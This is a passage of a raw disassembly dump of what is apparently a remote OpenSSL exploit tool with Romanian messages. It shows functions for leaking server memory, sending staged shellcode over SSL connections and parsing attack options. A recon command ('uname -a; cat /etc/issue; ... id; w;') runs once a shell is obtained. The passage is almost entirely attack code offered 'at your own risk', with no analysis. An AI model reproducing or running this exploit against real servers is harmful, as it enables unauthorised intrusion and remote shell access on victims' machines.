mov %eax,%eax 08049025 push %eax 08049026 lea 0xfffffbf8(%ebp),%eax 0804902c push %eax 0804902d pushl 0x8(%ebp) 08049030 call 08048bec <_init+0x58> 08049035 add $0x10,%esp 08049038 sub $0x8,%esp Possible reference to string: "uname -a; cat /etc/issue; cat /etc/*-release; id; w;" 0804903b push $0x804bca0 08049040 lea 0xfffffbf8(%ebp),%eax 08049046 push %eax 08049047 call 08048ecc <_init+0x338> 0804904c add $0x10,%esp 0804904f sub $0x4,%esp 08049052 lea 0xfffffbf8(%ebp),%eax 08049058 sub $0x8,%esp 0804905b push %eax 0804905c call 08048d1c <_init+0x188> 08049061 add $0xc,%esp 08049064 mov %eax,%eax 08049066 mov %eax,%eax 08049068 push %eax 08049069 lea 0xfffffbf8(%ebp),%eax 0804906f push %eax 08049070 pushl 0x8(%ebp) 08049073 call 08048bec <_init+0x58> 08049078 add $0x10,%esp 0804907b nop Referenced from jump at 08049202 ; 080492ff ; 0804907c sub $0xc,%esp 0804907f pushl 0x804e4c4 08049085 call 08048bfc <_init+0x68> 0804908a add $0x10,%esp 0804908d mov %eax,%eax 0804908f shr $0x5,%eax 08049092 imul $0x4,%eax,%esi 08049095 lea 0xfffff778(%ebp),%eax 0804909b mov %eax,%ebx 0804909d sub $0xc,%esp 080490a0 pushl 0x804e4c4 080490a6 call 08048bfc <_init+0x68> 080490ab add $0x10,%esp 080490ae mov %eax,%eax 080490b0 and $0x1f,%eax 080490b3 bts %eax,(%esi,%ebx,1) 080490b7 mov 0x8(%ebp),%eax 080490ba shr $0x5,%eax 080490bd imul $0x4,%eax,%ecx 080490c0 lea 0xfffff778(%ebp),%eax 080490c6 mov %eax,%edx 080490c8 mov 0x8(%ebp),%eax 080490cb and $0x1f,%eax 080490ce bts %eax,(%ecx,%edx,1) 080490d2 sub $0xc,%esp 080490d5 pushl 0x804e4c4 080490db call 08048bfc <_init+0x68> 080490e0 add $0x10,%esp 080490e3 mov %eax,%eax 080490e5 cmp 0x8(%ebp),%eax 080490e8 jle 08049108 080490ea sub $0xc,%esp 080490ed pushl 0x804e4c4 080490f3 call 08048bfc <_init+0x68> 080490f8 add $0x10,%esp 080490fb mov %eax,%eax 080490fd inc %eax 080490fe mov %eax,0xfffff768(%ebp) 08049104 jmp 08049112 08049106 mov %esi,%esi Referenced from jump at 080490e8 ; 08049108 mov 0x8(%ebp),%eax 0804910b inc %eax 0804910c mov %eax,0xfffff768(%ebp) Referenced from jump at 08049104 ; 08049112 mov 0xfffff768(%ebp),%eax 08049118 mov %eax,0xfffff774(%ebp) 0804911e sub $0xc,%esp 08049121 push $0x0 08049123 push $0x0 08049125 push $0x0 08049127 lea 0xfffff778(%ebp),%eax 0804912d push %eax 0804912e pushl 0xfffff774(%ebp) 08049134 call 08048c2c <_init+0x98> 08049139 add $0x20,%esp 0804913c sub $0xc,%esp 0804913f pushl 0x804e4c4 08049145 call 08048bfc <_init+0x68> 0804914a add $0x10,%esp 0804914d mov %eax,%eax 0804914f mov %eax,%ebx 08049151 and $0x1f,%ebx 08049154 sub $0xc,%esp 08049157 pushl 0x804e4c4 0804915d call 08048bfc <_init+0x68> 08049162 add $0x10,%esp 08049165 mov %eax,%eax 08049167 shr $0x5,%eax 0804916a imul $0x4,%eax,%edx 0804916d lea 0xfffff778(%ebp),%eax 08049173 mov %eax,%eax 08049175 bt %ebx,(%edx,%eax,1) 08049179 setb %al 0804917c test %al,%al 0804917e je 080491e0 08049180 sub $0x8,%esp 08049183 push $0x400 08049188 lea 0xfffffbf8(%ebp),%eax 0804918e push %eax 0804918f call 08048dec <_init+0x258> 08049194 add $0x10,%esp 08049197 sub $0x4,%esp 0804919a pushl 0x804e4c4 080491a0 push $0x3fe 080491a5 lea 0xfffffbf8(%ebp),%eax 080491ab push %eax 080491ac call 08048cdc <_init+0x148> 080491b1 add $0x10,%esp 080491b4 sub $0x4,%esp 080491b7 lea 0xfffffbf8(%ebp),%eax 080491bd sub $0x8,%esp 080491c0 push %eax 080491c1 call 08048d1c <_init+0x188> 080491c6 add $0xc,%esp 080491c9 mov %eax,%eax 080491cb mov %eax,%eax 080491cd push %eax 080491ce lea 0xfffffbf8(%ebp),%eax 080491d4 push %eax 080491d5 pushl 0x8(%ebp) 080491d8 call 08048bec <_init+0x58> 080491dd add $0x10,%esp Referenced from jump at 0804917e ; 080491e0 mov 0x8(%ebp),%eax 080491e3 mov %eax,%ecx 080491e5 and $0x1f,%ecx 080491e8 mov 0x8(%ebp),%eax 080491eb shr $0x5,%eax 080491ee imul $0x4,%eax,%edx 080491f1 lea 0xfffff778(%ebp),%eax 080491f7 mov %eax,%eax 080491f9 bt %ecx,(%edx,%eax,1) 080491fd setb %al 08049200 test %al,%al 08049202 je 0804907c 08049208 sub $0x8,%esp 0804920b push $0x400 08049210 lea 0xfffff7f8(%ebp),%eax 08049216 push %eax 08049217 call 08048dec <_init+0x258> 0804921c add $0x10,%esp 0804921f sub $0x4,%esp 08049222 push $0x400 08049227 lea 0xfffff7f8(%ebp),%eax 0804922d push %eax 0804922e pushl 0x8(%ebp) 08049231 call 08048ebc <_init+0x328> 08049236 add $0x10,%esp 08049239 mov %eax,%eax 0804923b mov %eax,0xfffff770(%ebp) 08049241 cmpl $0xffffffff,0xfffff770(%ebp) 08049248 jne 08049284 0804924a sub $0x8,%esp 0804924d sub $0x4,%esp 08049250 sub $0x4,%esp 08049253 call 08048c6c <_init+0xd8> 08049258 add $0x4,%esp 0804925b mov %eax,%eax 0804925d mov %eax,%eax 0804925f pushl (%eax) 08049261 call 08048c3c <_init+0xa8> 08049266 add $0x8,%esp 08049269 mov %eax,%eax 0804926b push %eax Possible reference to string: "Eroare : %s" 0804926c push $0x804bcd7 08049271 call 08048d8c <_init+0x1f8> 08049276 add $0x10,%esp 08049279 sub $0xc,%esp 0804927c push $0x1 0804927e call 08048dfc <_init+0x268> 08049283 nop Referenced from jump at 08049248 ; 08049284 cmpl $0x0,0xfffff770(%ebp) 0804928b jne 080492cc 0804928d cmpl $0x0,0xfffff76c(%ebp) 08049294 jne 080492b0 08049296 sub $0xc,%esp Possible reference to string: "Stagiul 2 ShellCode Gresit." 08049299 push $0x804bce4 0804929e call 08048d8c <_init+0x1f8> 080492a3 add $0x10,%esp 080492a6 mov $0x0,%eax 080492ab jmp 08049304 080492ad lea 0x0(%esi),%esi Referenced from jump at 08049294 ; 080492b0 sub $0xc,%esp Possible reference to string: "Conexiune Pirdută." 080492b3 push $0x804bd02 080492b8 call 08048d8c <_init+0x1f8> 080492bd add $0x10,%esp 080492c0 sub $0xc,%esp 080492c3 push $0x1 080492c5 call 08048dfc <_init+0x268> 080492ca mov %esi,%esi Referenced from jump at 0804928b ; 080492cc movl $0x1,0xfffff76c(%ebp) 080492d6 sub $0x8,%esp 080492d9 pushl 0x804e4c0 080492df lea 0xfffff7f8(%ebp),%eax 080492e5 push %eax 080492e6 call 08048d0c <_init+0x178> 080492eb add $0x10,%esp 080492ee sub $0xc,%esp 080492f1 pushl 0x804e4c0 080492f7 call 08048c1c <_init+0x88> 080492fc add $0x10,%esp 080492ff jmp 0804907c Referenced from jump at 080492ab ; 08049304 lea 0xfffffff8(%ebp),%esp 08049307 pop %ebx 08049308 pop %esi 08049309 pop %ebp 0804930a ret 0804930b nop ---- Function : info_leak ---- Referenced from call at 08049cfd ; 0804930c push %ebp 0804930d mov %esp,%ebp 0804930f sub $0x4018,%esp 08049315 sub $0xc,%esp 08049318 pushl 0x8(%ebp) 0804931b call 0804a744 08049320 add $0x10,%esp 08049323 sub $0xc,%esp 08049326 pushl 0x8(%ebp) 08049329 call 0804a818 0804932e add $0x10,%esp 08049331 sub $0x4,%esp 08049334 mov 0xc(%ebp),%eax 08049337 pushl 0x8(%eax) 0804933a mov 0xc(%ebp),%eax 0804933d pushl 0x4(%eax) 08049340 pushl 0x8(%ebp) 08049343 call 0804ac6c 08049348 add $0x10,%esp 0804934b sub $0xc,%esp 0804934e pushl 0x8(%ebp) 08049351 call 0804af9c 08049356 add $0x10,%esp 08049359 sub $0xc,%esp 0804935c pushl 0x8(%ebp) 0804935f call 0804b058 08049364 add $0x10,%esp 08049367 sub $0xc,%esp 0804936a pushl 0x8(%ebp) 0804936d call 0804b1cc 08049372 add $0x10,%esp 08049375 sub $0x4,%esp 08049378 push $0x4000 0804937d lea 0xffffbff8(%ebp),%eax 08049383 push %eax 08049384 pushl 0x8(%ebp) 08049387 call 0804b24c 0804938c add $0x10,%esp 0804938f mov %eax,%eax 08049391 mov %eax,0xffffbff4(%ebp) 08049397 mov 0x8(%ebp),%eax 0804939a cmpl $0x0,0x7c(%eax) 0804939e je 080493c4 080493a0 sub $0x8,%esp 080493a3 mov 0x8(%ebp),%eax 080493a6 sub $0xffffff80,%eax 080493a9 push %eax Possible reference to string: "%s" 080493aa push $0x804bd16 080493af call 08048d8c <_init+0x1f8> 080493b4 add $0x10,%esp 080493b7 sub $0xc,%esp 080493ba push $0x1 080493bc call 08048dfc <_init+0x268> 080493c1 lea 0x0(%esi),%esi Referenced from jump at 0804939e ; 080493c4 sub $0x8,%esp 080493c7 mov 0xc(%ebp),%edx 080493ca pushl 0xffffbff4(%ebp) 080493d0 lea 0xffffbff8(%ebp),%eax 080493d6 push %eax 080493d7 mov 0x1c(%edx),%eax 080493da call *%eax 080493dc add $0x10,%esp 080493df mov %eax,%edx 080493e1 mov 0x8(%ebp),%eax 080493e4 mov %edx,0x480(%eax) 080493ea sub $0x8,%esp 080493ed mov 0xc(%ebp),%edx 080493f0 pushl 0xffffbff4(%ebp) 080493f6 lea 0xffffbff8(%ebp),%eax 080493fc push %eax 080493fd mov 0x20(%edx),%eax 08049400 call *%eax 08049402 add $0x10,%esp 08049405 mov %eax,%edx 08049407 mov 0x8(%ebp),%eax 0804940a mov %edx,0x484(%eax) 08049410 mov $0x1,%eax 08049415 leave 08049416 ret 08049417 nop ---- Function : send_shellcode ---- Referenced from call at 08049ddf ; 08049418 push %ebp 08049419 mov %esp,%ebp 0804941b push %ebx 0804941c sub $0x4014,%esp 08049422 sub $0xc,%esp Possible reference to string: ": Trimitem ShellCode" 08049425 push $0x804bd1a 0804942a call 08048d8c <_init+0x1f8> 0804942f add $0x10,%esp 08049432 sub $0xc,%esp 08049435 mov 0x8(%ebp),%eax 08049438 pushl (%eax) 0804943a call 08049f38 0804943f add $0x10,%esp 08049442 mov %eax,%eax 08049444 mov %eax,0xffffbfec(%ebp) 0804944a sub $0xc,%esp 0804944d pushl 0x8(%ebp) 08049450 call 0804a744 08049455 add $0x10,%esp 08049458 sub $0xc,%esp 0804945b pushl 0x8(%ebp) 0804945e call 0804a818 08049463 add $0x10,%esp 08049466 sub $0x8,%esp 08049469 mov 0xc(%ebp),%eax 0804946c mov 0x4(%eax),%edx 0804946f mov 0xc(%ebp),%eax 08049472 pushl 0x8(%eax) 08049475 pushl 0x14(%ebp) 08049478 pushl 0x10(%ebp) 0804947b pushl 0xffffbfec(%ebp) 08049481 push $0x4000 08049486 lea 0xffffbff8(%ebp),%eax 0804948c push %eax 0804948d mov 0x24(%edx),%eax 08049490 call *%eax 08049492 add $0x20,%esp 08049495 mov %eax,%eax 08049497 mov %eax,0xffffbff4(%ebp) 0804949d sub $0x4,%esp 080494a0 pushl 0xffffbff4(%ebp) 080494a6 lea 0xffffbff8(%ebp),%eax 080494ac push %eax 080494ad pushl 0x8(%ebp) 080494b0 call 0804ac6c 080494b5 add $0x10,%esp 080494b8 sub $0xc,%esp 080494bb pushl 0x8(%ebp) 080494be call 0804af9c 080494c3 add $0x10,%esp 080494c6 sub $0xc,%esp 080494c9 pushl 0x8(%ebp) 080494cc call 0804b058 080494d1 add $0x10,%esp 080494d4 movl $0x0,0xffffbff0(%ebp) 080494de mov %esi,%esi Referenced from jump at 08049518 ; 080494e0 mov 0x8(%ebp),%edx 080494e3 mov 0xffffbff0(%ebp),%eax 080494e9 cmp 0x44(%edx),%eax 080494ec jl 080494f0 080494ee jmp 0804951c Referenced from jump at 080494ec ; 080494f0 call 08048e9c <_init+0x308> 080494f5 mov %eax,%ebx 080494f7 mov 0x8(%ebp),%eax 080494fa mov 0xffffbff0(%ebp),%ecx 08049500 add $0x40,%ecx 08049503 add $0x8,%eax 08049506 mov %eax,%edx 08049508 mov %ebx,%eax 0804950a sar $0x18,%eax 0804950d mov %al,(%ecx,%edx,1) 08049510 lea 0xffffbff0(%ebp),%eax 08049516 incl (%eax) 08049518 jmp 080494e0 0804951a mov %esi,%esi Referenced from jump at 080494ee ; 0804951c sub $0xc,%esp 0804951f pushl 0x8(%ebp) 08049522 call 0804b1cc 08049527 add $0x10,%esp 0804952a sub $0xc,%esp 0804952d pushl 0x8(%ebp) 08049530 call 0804b3e4 08049535 add $0x10,%esp 08049538 mov 0x8(%ebp),%eax 0804953b cmpl $0x0,0x7c(%eax) 0804953f je 08049564 08049541 sub $0x8,%esp 08049544 mov 0x8(%ebp),%eax 08049547 sub $0xffffff80,%eax 0804954a push %eax Possible reference to string: "%s" 0804954b push $0x804bd30 08049550 call 08048d8c <_init+0x1f8> 08049555 add $0x10,%esp 08049558 sub $0xc,%esp 0804955b push $0x1 0804955d call 08048dfc <_init+0x268> 08049562 mov %esi,%esi Referenced from jump at 0804953f ; 08049564 sub $0x4,%esp 08049567 mov 0xc(%ebp),%eax 0804956a mov 0x4(%eax),%eax 0804956d pushl 0x18(%eax) 08049570 mov 0xc(%ebp),%eax 08049573 mov 0x4(%eax),%eax 08049576 pushl 0x14(%eax) 08049579 mov 0x8(%ebp),%eax 0804957c pushl (%eax) 0804957e call 08048bec <_init+0x58> 08049583 add $0x10,%esp 08049586 sub $0x4,%esp 08049589 push $0x3 0804958b lea 0xffffbff8(%ebp),%eax 08049591 push %eax 08049592 mov 0x8(%ebp),%eax 08049595 pushl (%eax) 08049597 call 08048ebc <_init+0x328> 0804959c add $0x10,%esp 0804959f mov %eax,%eax 080495a1 mov %eax,0xffffbff4(%ebp) 080495a7 cmpl $0x0,0xffffbff4(%ebp) 080495ae jns 080495ec 080495b0 sub $0x8,%esp 080495b3 sub $0x4,%esp 080495b6 sub $0x4,%esp 080495b9 call 08048c6c <_init+0xd8> 080495be add $0x4,%esp 080495c1 mov %eax,%eax 080495c3 mov %eax,%eax 080495c5 pushl (%eax) 080495c7 call 08048c3c <_init+0xa8> 080495cc add $0x8,%esp 080495cf mov %eax,%eax 080495d1 push %eax Possible reference to string: "Eroare In Citire: %s" 080495d2 push $0x804bd35 080495d7 call 08048d8c <_init+0x1f8> 080495dc add $0x10,%esp 080495df sub $0xc,%esp 080495e2 push $0x1 080495e4 call 08048dfc <_init+0x268> 080495e9 lea 0x0(%esi),%esi Referenced from jump at 080495ae ; 080495ec cmpl $0x0,0xffffbff4(%ebp) 080495f3 jne 08049610 080495f5 sub $0xc,%esp Possible reference to string: "Conexiune Esuată" 080495f8 push $0x804bd4b 080495fd call 08048d8c <_init+0x1f8> 08049602 add $0x10,%esp 08049605 mov $0x0,%eax 0804960a jmp 080497d2 0804960f nop Referenced from jump at 080495f3 ; 08049610 cmpl $0x3,0xffffbff4(%ebp) 08049617 je 08049634 08049619 sub $0xc,%esp Possible reference to string: "Mai Putini De 4 Byti Next" 0804961c push $0x804bd5d 08049621 call 08048d8c <_init+0x1f8> 08049626 add $0x10,%esp 08049629 mov $0x0,%eax 0804962e jmp 080497d2 08049633 nop Referenced from jump at 08049617 ; 08049634 mov 0xc(%ebp),%eax 08049637 mov 0x4(%eax),%ecx 0804963a mov 0xc(%ebp),%eax 0804963d mov 0x4(%eax),%eax 08049640 lea 0xffffbff8(%ebp),%edx 08049646 sub $0x4,%esp 08049649 pushl 0x18(%ecx) 0804964c pushl 0x14(%eax) 0804964f push %edx 08049650 call 08048d5c <_init+0x1c8> 08049655 add $0x10,%esp 08049658 mov %eax,%eax 0804965a mov %eax,%eax 0804965c test %eax,%eax 0804965e je 080496ac 08049660 sub $0xc,%esp Possible reference to string: "Nepotrivire ... Ceea Ce Nu Trebuia Să Se Intâmple" 08049663 push $0x804bd80 08049668 call 08048d8c <_init+0x1f8> 0804966d add $0x10,%esp 08049670 sub $0xc,%esp 08049673 movzbl 0xffffbffb(%ebp),%eax 0804967a push %eax 0804967b movzbl 0xffffbffa(%ebp),%eax 08049682 push %eax 08049683 movzbl 0xffffbff9(%ebp),%eax 0804968a push %eax 0804968b movzbl 0xffffbff8(%ebp),%eax 08049692 push %eax Possible reference to string: "Stage1 tag: %02x %02x %02x %02x" 08049693 push $0x804bdc0 08049698 call 08048d8c <_init+0x1f8> 0804969d add $0x20,%esp 080496a0 mov $0x0,%eax 080496a5 jmp 080497d2 080496aa mov %esi,%esi Referenced from jump at 0804965e ; 080496ac movl $0x0,0xffffbff0(%ebp) 080496b6 mov %esi,%esi Referenced from jump at 080496f2 ; 080496b8 mov 0xffffbff0(%ebp),%eax 080496be cmp 0x804e900,%eax 080496c4 jl 080496c8 080496c6 jmp 080496f4 Referenced from jump at 080496c4 ; 080496c8 sub $0xc,%esp 080496cb mov 0xffffbff0(%ebp),%eax 080496d1 mov %eax,%eax 080496d3 lea 0x0(,%eax,4),%edx 080496da mov $0x804e500,%eax 080496df pushl (%edx,%eax,1) 080496e2 call 08048c0c <_init+0x78> 080496e7 add $0x10,%esp 080496ea lea 0xffffbff0(%ebp),%eax 080496f0 incl (%eax) 080496f2 jmp 080496b8 Referenced from jump at 080496c6 ; 080496f4 movl $0x0,0xffffbff0(%ebp) 080496fe mov %esi,%esi Referenced from jump at 0804976c ; 08049700 cmpl $0x3,0xffffbff0(%ebp) 08049707 jle 0804970c 08049709 jmp 08049770 0804970b nop Referenced from jump at 08049707 ; 0804970c mov 0xffffbff0(%ebp),%eax 08049712 mov %eax,%eax 08049714 lea 0x0(,%eax,4),%edx 0804971b mov $0x804e904,%eax 08049720 cmpl $0x0,(%edx,%eax,1) 08049724 je 08049764 08049726 mov 0xffffbff0(%ebp),%eax 0804972c mov %eax,%eax 0804972e lea 0x0(,%eax,4),%edx 08049735 mov $0x804e904,%eax 0804973a mov (%edx,%eax,1),%eax 0804973d cmp 0x8(%ebp),%eax 08049740 je 08049764 08049742 sub $0xc,%esp 08049745 mov 0xffffbff0(%ebp),%eax 0804974b mov %eax,%eax 0804974d lea 0x0(,%eax,4),%edx 08049754 mov $0x804e904,%eax 08049759 pushl (%edx,%eax,1) 0804975c call 0804a128 08049761 add $0x10,%esp Referenced from jump at 08049724 ; 08049740 ; 08049764 lea 0xffffbff0(%ebp),%eax 0804976a incl (%eax) 0804976c jmp 08049700 0804976e mov %esi,%esi Referenced from jump at 08049709 ; 08049770 sub $0xc,%esp Possible reference to string: " In Executie ..." 08049773 push $0x804bde1 08049778 call 08048d8c <_init+0x1f8> 0804977d add $0x10,%esp 08049780 push $0x0 08049782 mov 0xc(%ebp),%eax 08049785 mov 0x4(%eax),%eax 08049788 pushl 0x10(%eax) 0804978b mov 0xc(%ebp),%eax 0804978e mov 0x4(%eax),%eax 08049791 pushl 0xc(%eax) 08049794 mov 0x8(%ebp),%eax 08049797 pushl (%eax) 08049799 call 08048e3c <_init+0x2a8> 0804979e add $0x10,%esp 080497a1 sub $0xc,%esp Possible reference to string: " Conexiune Stabilită...Bravo ..Esti Hacer ;>>" 080497a4 push $0x804be00 080497a9 call 08048d8c <_init+0x1f8> 080497ae add $0x10,%esp 080497b1 sub $0xc,%esp 080497b4 push $0x2 080497b6 call 08048d2c <_init+0x198> 080497bb add $0x10,%esp 080497be sub $0xc,%esp 080497c1 mov 0x8(%ebp),%eax 080497c4 pushl (%eax) 080497c6 call 08048fe0 080497cb add $0x10,%esp 080497ce mov %eax,%eax 080497d0 mov %eax,%eax Referenced from jump at 0804960a ; 0804962e ; 080496a5 ; 080497d2 mov 0xfffffffc(%ebp),%ebx 080497d5 leave 080497d6 ret 080497d7 nop ---- Function : usage ---- Referenced from call at 080499b0 ; 08049acc ; 08049aee ; 08049bed ; 080497d8 push %ebp 080497d9 mov %esp,%ebp 080497db sub $0x8,%esp 080497de sub $0x8,%esp 080497e1 pushl 0x8(%ebp) Possible reference to string: "Folosire: %s [Optiuni] " 080497e4 push $0x804be40 080497e9 call 08048d8c <_init+0x1f8> 080497ee add $0x10,%esp 080497f1 sub $0xc,%esp Possible reference to string: " -a Arhitectură (default is 0x00)" 080497f4 push $0x804be60 080497f9 call 08048d8c <_init+0x1f8> 080497fe add $0x10,%esp 08049801 sub $0xc,%esp Possible reference to string: " -p SSL port (default is 443)" 08049804 push $0x804bea0 08049809 call 08048d8c <_init+0x1f8> 0804980e add $0x10,%esp 08049811 sub $0xc,%esp Possible reference to string: " -c Număr Minim De Conexiuni (default is 30)" 08049814 push $0x804bee0 08049819 call 08048d8c <_init+0x1f8> 0804981e add $0x10,%esp 08049821 sub $0xc,%esp Possible reference to string: " -m Număr Maxim De Conexiuni (default is 50)" 08049824 push $0x804bf20 08049829 call 08048d8c <_init+0x1f8> 0804982e add $0x10,%esp 08049831 sub $0xc,%esp Possible reference to string: " -v Verbose Mode" 08049834 push $0x804bf60 08049839 call 08048d8c <_init+0x1f8> 0804983e add $0x10,%esp 08049841 sub $0xc,%esp Possible reference to string: "Arhitecturi:" 08049844 push $0x804bf84 08049849 call 08048d8c <_init+0x1f8> 0804984e add $0x10,%esp 08049851 movl $0x0,0xfffffffc(%ebp) Referenced from jump at 080498d0 ; 08049858 cmpl $0x15,0xfffffffc(%ebp) 0804985c jbe 080498a0 0804985e sub $0xc,%esp Possible reference to string: "" 08049861 push $0x804bfa0 08049866 call 08048d8c <_init+0x1f8> 0804986b add $0x10,%esp 0804986e sub $0x8,%esp 08049871 pushl 0x8(%ebp) Possible reference to string: "Exemple: %s -a 0x01 -v localhost" 08049874 push $0x804bfc0 08049879 call 08048d8c <_init+0x1f8> 0804987e add $0x10,%esp 08049881 sub $0x8,%esp 08049884 pushl 0x8(%ebp) Possible reference to string: " %s -p 1234 192.168.0.1 -c 40 -m 80" 08049887 push $0x804c000 0804988c call 08048d8c <_init+0x1f8> 08049891 add $0x10,%esp 08049894 sub $0xc,%esp 08049897 push $0x1 08049899 call 08048dfc <_init+0x268> 0804989e mov %esi,%esi Referenced from jump at 0804985c ; 080498a0 sub $0x4,%esp 080498a3 mov 0xfffffffc(%ebp),%edx 080498a6 mov %edx,%eax 080498a8 shl %eax 080498aa add %edx,%eax 080498ac lea 0x0(,%eax,4),%edx 080498b3 mov $0x804dff0,%eax 080498b8 pushl (%edx,%eax,1) 080498bb pushl 0xfffffffc(%ebp) Possible reference to string: " 0x%02x - %s" 080498be push $0x804bf92 080498c3 call 08048d8c <_init+0x1f8> 080498c8 add $0x10,%esp 080498cb lea 0xfffffffc(%ebp),%eax 080498ce incl (%eax) 080498d0 jmp 08049858 080498d2 mov %esi,%esi ---- Function : main ---- 080498d4
push %ebp 080498d5 mov %esp,%ebp 080498d7 sub $0x28,%esp 080498da movl $0x1bb,0xfffffff0(%ebp) 080498e1 movl $0x0,0xffffffec(%ebp) 080498e8 movl $0x1e,0x804e900 080498f2 movl $0x32,0x804e8fc 080498fc movl $0x804dff0,0xfffffffc(%ebp) 08049903 sub $0xc,%esp Possible reference to string: ": OpenSsl Exploit ... Folositi-l Pe Riscul Vostru" 08049906 push $0x804c040 0804990b call 08048d8c <_init+0x1f8> 08049910 add $0x10,%esp 08049913 sub $0xc,%esp Possible reference to string: " by Silviu " 08049916 push $0x804c080 0804991b call 08048d8c <_init+0x1f8> 08049920 add $0x10,%esp 08049923 sub $0xc,%esp Possible reference to string: "" 08049926 push $0x804bfa0 0804992b call 08048d8c <_init+0x1f8> 08049930 add $0x10,%esp 08049933 nop Referenced from jump at 08049969 ; 080499d2 ; 080499fc ; 08049a77 ; 08049ab0 ; 08049abd ; 08049ad4 ; 08049934 sub $0x4,%esp Possible reference to string: "a:c:m:p:v" 08049937 push $0x804c0a0 0804993c pushl 0xc(%ebp) 0804993f pushl 0x8(%ebp) 08049942 call 08048ccc <_init+0x138> 08049947 add $0x10,%esp 0804994a mov %eax,%eax 0804994c mov %eax,0xffffffe0(%ebp) 0804994f cmpl $0xffffffff,0xffffffe0(%ebp) 08049953 jne 0804995c 08049955 jmp 08049adc 0804995a mov %esi,%esi Referenced from jump at 08049953 ; 0804995c mov 0xffffffe0(%ebp),%eax 0804995f sub $0x3f,%eax 08049962 mov %eax,0xffffffd8(%ebp) 08049965 cmpl $0x37,0xffffffd8(%ebp) 08049969 ja 08049934 0804996b mov 0xffffffd8(%ebp),%edx 0804996e mov 0x804c2b0(,%edx,4),%eax 08049975 jmp *%eax 08049977 nop 08049978 sub $0x4,%esp 0804997b lea 0xffffffe4(%ebp),%eax 0804997e push %eax Possible reference to string: "0x%x" 0804997f push $0x804c0aa 08049984 pushl 0x804e4c8 0804998a call 08048e1c <_init+0x288> 0804998f add $0x10,%esp 08049992 mov %eax,%eax 08049994 test %eax,%eax 08049996 je 080499a8 08049998 cmpl $0x0,0xffffffe4(%ebp) 0804999c js 080499a8 0804999e cmpl $0x15,0xffffffe4(%ebp) 080499a2 ja 080499a8 080499a4 jmp 080499b8 080499a6 mov %esi,%esi Referenced from jump at 08049996 ; 0804999c ; 080499a2 ; 080499a8 sub $0xc,%esp 080499ab mov 0xc(%ebp),%eax 080499ae pushl (%eax) 080499b0 call 080497d8 080499b5 add $0x10,%esp Referenced from jump at 080499a4 ; 080499b8 mov 0xffffffe4(%ebp),%edx 080499bb mov %edx,%eax 080499bd shl %eax 080499bf add %edx,%eax 080499c1 lea 0x0(,%eax,4),%edx 080499c8 mov $0x804dff0,%eax 080499cd add %edx,%eax 080499cf mov %eax,0xfffffffc(%ebp) 080499d2 jmp 08049934 080499d7 nop 080499d8 sub $0xc,%esp 080499db pushl 0x804e4c8 080499e1 call 08048e0c <_init+0x278> 080499e6 add $0x10,%esp 080499e9 mov %eax,%eax 080499eb mov %eax,%eax 080499ed mov %eax,0x804e900 080499f2 cmpl $0xfe,0x804e900 080499fc jle 08049934 08049a02 sub $0x8,%esp 08049a05 push $0xff Possible reference to string: "Nr Maxim Conexiuni %d " 08049a0a push $0x804c0af 08049a0f call 08048d8c <_init+0x1f8> 08049a14 add $0x10,%esp 08049a17 sub $0xc,%esp 08049a1a push $0x1 08049a1c call 08048dfc <_init+0x268> 08049a21 lea 0x0(%esi),%esi 08049a24 sub $0xc,%esp 08049a27 pushl 0x804e4c8 08049a2d call 08048e0c <_init+0x278> 08049a32 add $0x10,%esp 08049a35 mov %eax,%eax 08049a37 mov %eax,%eax 08049a39 mov %eax,0x804e8fc 08049a3e cmpl $0xfe,0x804e8fc 08049a48 jle 08049a6c 08049a4a sub $0x8,%esp 08049a4d push $0xff Possible reference to string: "Nr Maxim De Conexiuni Eroare %d " 08049a52 push $0x804c0e0 08049a57 call 08048d8c <_init+0x1f8> 08049a5c add $0x10,%esp 08049a5f sub $0xc,%esp 08049a62 push $0x1 08049a64 call 08048dfc <_init+0x268> 08049a69 lea 0x0(%esi),%esi Referenced from jump at 08049a48 ; 08049a6c mov 0x804e8fc,%eax 08049a71 cmp 0x804e900,%eax 08049a77 jge 08049934 08049a7d sub $0xc,%esp Possible reference to string: "Parametrul -m Ar Trebui Să Fie Mai Mare Decât Parametrul -c." 08049a80 push $0x804c120 08049a85 call 08048d8c <_init+0x1f8> 08049a8a add $0x10,%esp 08049a8d sub $0xc,%esp 08049a90 push $0x1 08049a92 call 08048dfc <_init+0x268> 08049a97 nop 08049a98 sub $0xc,%esp 08049a9b pushl 0x804e4c8 08049aa1 call 08048e0c <_init+0x278> 08049aa6 add $0x10,%esp 08049aa9 mov %eax,%eax 08049aab mov %eax,%eax 08049aad mov %eax,0xfffffff0(%ebp) 08049ab0 jmp 08049934 08049ab5 lea 0x0(%esi),%esi 08049ab8 lea 0xffffffec(%ebp),%eax 08049abb incl (%eax) 08049abd jmp 08049934 08049ac2 mov %esi,%esi 08049ac4 sub $0xc,%esp 08049ac7 mov 0xc(%ebp),%eax 08049aca pushl (%eax) 08049acc call 080497d8 08049ad1 add $0x10,%esp 08049ad4 jmp 08049934 08049ad9 lea 0x0(%esi),%esi Referenced from jump at 08049955 ; 08049adc mov 0x804e4cc,%eax 08049ae1 cmp 0x8(%ebp),%eax 08049ae4 jl 08049af6 08049ae6 sub $0xc,%esp 08049ae9 mov 0xc(%ebp),%eax 08049aec pushl (%eax) 08049aee call 080497d8 08049af3 add $0x10,%esp Referenced from jump at 08049ae4 ; 08049af6 sub $0xc,%esp 08049af9 mov 0x804e4cc,%eax 08049afe imul $0x4,%eax,%edx 08049b01 mov 0xc(%ebp),%eax 08049b04 pushl (%eax,%edx,1) 08049b07 call 08048ddc <_init+0x248> 08049b0c add $0x10,%esp 08049b0f mov %eax,%eax 08049b11 mov %eax,0xfffffff8(%ebp) 08049b14 cmpl $0x0,0xfffffff8(%ebp) 08049b18 jne 08049b44 08049b1a sub $0x8,%esp 08049b1d mov 0x804e4cc,%eax 08049b22 imul $0x4,%eax,%edx 08049b25 mov 0xc(%ebp),%eax 08049b28 pushl (%eax,%edx,1) Possible reference to string: "Nu Pot Rezolva Adresa %s" 08049b2b push $0x804c15e 08049b30 call 08048d8c <_init+0x1f8> 08049b35 add $0x10,%esp 08049b38 sub $0xc,%esp 08049b3b push $0x1 08049b3d call 08048dfc <_init+0x268> 08049b42 mov %esi,%esi Referenced from jump at 08049b18 ; 08049b44 mov 0xfffffff8(%ebp),%eax 08049b47 mov 0x10(%eax),%eax 08049b4a add $0x4,%eax 08049b4d cmpl $0x0,(%eax) 08049b50 je 08049bc8 08049b52 sub $0x8,%esp 08049b55 mov 0x804e4cc,%eax 08049b5a imul $0x4,%eax,%edx 08049b5d mov 0xc(%ebp),%eax 08049b60 pushl 